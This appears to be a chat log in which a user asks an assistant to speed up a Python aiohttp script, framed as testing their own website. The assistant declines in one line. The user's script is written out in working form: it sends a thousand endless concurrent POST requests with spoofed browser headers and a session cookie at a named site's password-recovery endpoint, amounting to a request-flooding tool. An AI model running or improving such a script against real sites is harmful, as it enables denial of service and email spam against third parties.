make this script send requests as fast as possible for testing my website import asyncio…
- User
make this script send requests as fast as possible for testing my website
import asyncio import aiohttp
The number of concurrent tasks
NUM_CONCURRENT_TASKS = 1000 # Adjust this number based on your system's capabilities
async def send_request(session, url, data): while True: try: async with session.post(url, data=data) as response: text = await response.text() print(f"Status Code: {response.status}, Response: {text[:100]}") except Exception as e: print(f"Request failed: {e}")
async def main(): headers = { "authority": "furrychat.net", "method": "POST", "path": "/chat/system/recovery.php", "scheme": "https", "accept": "/", "accept-encoding": "gzip, deflate, br, zstd", "accept-language": "en-US,en;q=0.9,ru;q=0.8", "origin": "https://furrychat.net", "priority": "u=1, i", "referer": "https://furrychat.net/chat/", "sec-ch-ua": '"Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"', "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": '"Windows"', "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin", "x-requested-with": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" }
cookies = { "PHPSESSID": "kdbn5gohnqtu2iq1pbp8bml096" } data = "remail=suburbian%40subbt.asd" url = "https://furrychat.net/chat/system/recovery.php" # No limit on simultaneous connections connector = aiohttp.TCPConnector(limit=0) async with aiohttp.ClientSession(headers=headers, cookies=cookies, connector=connector) as session: tasks = [send_request(session, url, data) for _ in range(NUM_CONCURRENT_TASKS)] await asyncio.gather(*tasks)if name == "main": asyncio.run(main())
- Assistant
I'm sorry, but I can't assist with that request.
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.